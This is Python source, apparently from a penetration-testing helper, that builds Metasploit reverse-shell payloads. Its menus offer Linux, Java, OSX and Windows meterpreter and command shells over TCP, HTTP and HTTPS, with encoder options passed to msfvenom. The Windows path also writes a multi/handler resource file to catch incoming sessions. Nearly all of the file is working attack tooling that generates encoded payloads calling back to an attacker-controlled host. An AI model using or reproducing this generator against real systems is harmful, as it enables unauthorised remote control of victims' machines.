def Linux_STAGED():
#2. Linux Reverse Shells
#1. Linux Meterpreter Reverse TCP, Staged
opt_Dict = {'1': 'linux/x86/meterpreter/reverse_tcp'}
opt_Choice = str(
raw_input("Press 1 to create a reverse meterpreter TCP payload: "))
if opt_Choice in opt_Dict:
os.system('cat /root/ArmsCommander/msfvenom_encoders.txt')
print colored('Please answer the following questions', 'red',
'on_white')
payload_Set = opt_Dict[opt_Choice]
user_input = payload_Parameters.from_input()
bad_Bytes = "x00"
payload_file = payload_dir + user_input.output_payload
payload = payload_Set
LHOST = user_input.LHOST
LPORT = user_input.LPORT
encoder = user_input.encoder
encoder_iterations = user_input.encoder_iterations
output_format = user_input.output_format
output_file = user_input.output_payload
remote_exploit_toolkits.msfvenom_syntax(payload, LHOST, LPORT, encoder,
encoder_iterations,
output_format, output_file)
else:
print colored('You have entered a invalid option', 'red', 'on_white')
Linux_STAGED()
main()
return
def Java_STAGED():
opt_Dict = {
'1': 'java/meterpreter/reverse_tcp',
'2': 'java/meterpreter/reverse_http',
'3': 'java/meterpreter/reverse_https'
}
opt_List = ('\n\t#1. Java Reverse Meterpreter, TCP',
'#2. Java Reverse Meterpreter, HTTP',
'#3. Java Reverse Meterpreter, HTTPS')
print("\n\t".join(opt_List))
opt_Choice = str(raw_input("Enter a payload shown: "))
if opt_Choice in opt_Dict:
os.system('cat /root/ArmsCommander/msfvenom_encoders.txt')
print colored('Please answer the following questions', 'red',
'on_white')
payload_Set = opt_Dict[opt_Choice]
user_input = payload_Parameters.from_input()
bad_Bytes = "x00"
payload_file = payload_dir + user_input.output_payload
payload = payload_Set
LHOST = user_input.LHOST
LPORT = user_input.LPORT
encoder = user_input.encoder
encoder_iterations = user_input.encoder_iterations
output_format = user_input.output_format
output_file = user_input.output_payload
remote_exploit_toolkits.msfvenom_syntax(payload, LHOST, LPORT, encoder,
encoder_iterations,
output_format, output_file)
else:
print colored('You have entered a invalid option', 'red', 'on_white')
Java_STAGED()
main()
return
def OSX_x86():
opt_Dict = {
'1': 'osx/x86/shell_reverse_tcp',
'2': 'osx/x86/vforkshell_reverse_tcp',
'3': 'osx/x86/vforkshell/reverse_tcp'
}
opt_List = ('\n\t#1. x86/x64 Command Shell Reverse TCP, INLINE',
'#2. x86/x64 V-Fork Command Shell, Reverse TCP, INLINE',
'#3. x86/x64 V-Fork Command Shell, Reverse TCP, STAGED')
print("\n\t".join(opt_List))
opt_Choice = str(raw_input("Enter a payload shown: "))
if opt_Choice in opt_Dict:
os.system('cat /root/ArmsCommander/msfvenom_encoders.txt')
print colored('Please answer the following questions', 'red',
'on_white')
payload_Set = opt_Dict[opt_Choice]
user_input = payload_Parameters.from_input()
bad_Bytes = "x00"
payload_file = payload_dir + user_input.output_payload
payload = payload_Set
LHOST = user_input.LHOST
LPORT = user_input.LPORT
encoder = user_input.encoder
encoder_iterations = user_input.encoder_iterations
output_format = user_input.output_format
output_file = user_input.output_payload
remote_exploit_toolkits.msfvenom_syntax(payload, LHOST, LPORT, encoder,
encoder_iterations,
output_format, output_file)
else:
print colored('You have entered a invalid option', 'red', 'on_white')
OSX_x86()
main()
return
def Windows_INLINE():
opt_Dict = {
'1': 'windows/meterpreter_reverse_tcp',
'2': 'windows/meterpreter_reverse_http',
'3': 'windows/meterpreter_reverse_https'
}
opt_List = ('\n\t#1. Windows Meterpreter, Reverse TCP Shell',
'#2. Windows Meterpreter, Reverse HTTP Shell',
'#3. Windows Meterpreter, Reverse HTTPS Shell')
print("\n\t".join(opt_List))
opt_Choice = str(raw_input("Enter a payload shown: "))
if opt_Choice in opt_Dict:
os.system('cat /root/ArmsCommander/msfvenom_encoders.txt')
print colored('Please answer the following questions', 'red',
'on_white')
payload_Set = opt_Dict[opt_Choice]
user_input = payload_Parameters.from_input()
bad_Bytes = "x00"
payload_file = payload_dir + user_input.output_payload
payload = payload_Set
LHOST = user_input.LHOST
LPORT = user_input.LPORT
encoder = user_input.encoder
encoder_iterations = user_input.encoder_iterations
output_format = user_input.output_format
output_file = user_input.output_payload
remote_exploit_toolkits.msfvenom_syntax(payload, LHOST, LPORT, encoder,
encoder_iterations,
output_format, output_file)
# generate a handler file
print 'Creating handler directory and generating handler file'
#
# handler_directory = '/root/ArmsCommander/payloads/'
# handler_filename = 'EasyPeasey_payload_handler.rc' # You cant use the metasploit payload anme as filename, because it is '/' syntax, cvausing errors
# handler_fullpath = handler_directory + handler_filename
handler = open(
'/root/ArmsCommander/payloads/EasyPeasey_payload_handler.rc', 'w')
# write proper parameters to handler file
print 'Writing to handler file'
handler.write('use multi/handler')
# handler.write("\nset PAYLOAD {0}").format(str(payload_Set))
# Well my other program DIAMONDSHARK showed that it uses + operators instead of %s and .format {}
handler.write("\nset PAYLOAD " + payload_Set)
# handler.write("\nset PAYLOAD {0}").format(str(payload_Set))
handler.write('\nset LHOST 0.0.0.0')
# handler.write("\nset LPORT {0}").format(user_input.LPORT)
handler.write("\nset LPORT " + user_input.LPORT)
handler.write('\nset ExitOnSession false')
handler.write('\nexploit -j -z')
# Inform user where the handler file is stored
print colored(
'Your handler file is located at /root/ArmsCommander/payloads/EasyPeasey_payload_handler.rc',
'red', 'on_white')
print 'To use, open msfconsole and type "resource <handlerfile.rc>"'
else:
print colored('You have entered a invalid option', 'red', 'on_white')
Windows_STAGED()
main()